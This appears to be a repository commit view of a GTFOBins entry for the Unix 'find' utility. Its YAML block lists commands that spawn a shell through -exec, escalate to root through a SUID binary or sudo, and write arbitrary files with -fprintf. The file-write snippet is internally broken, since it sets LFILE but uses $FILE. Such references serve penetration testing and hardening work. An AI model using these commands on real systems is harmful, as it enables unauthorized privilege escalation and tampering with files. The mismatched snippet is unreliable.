GTFOBins.github.io/_gtfobins/find.md
B0nk3rZ e8e9b2bc4b
Add find file-write
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-12-02 11:25:56 +01:00

15 lines
358 B
Markdown

---
functions:
shell:
- code: find . -exec /bin/sh \; -quit
suid:
- code: ./find . -exec /bin/sh -p \; -quit
sudo:
- code: sudo find . -exec /bin/sh \; -quit
file-write:
- description: DATA is a format string, it supports some escape sequences.
code: |
LFILE=file_to_write
find / -fprintf "$FILE" DATA -quit
---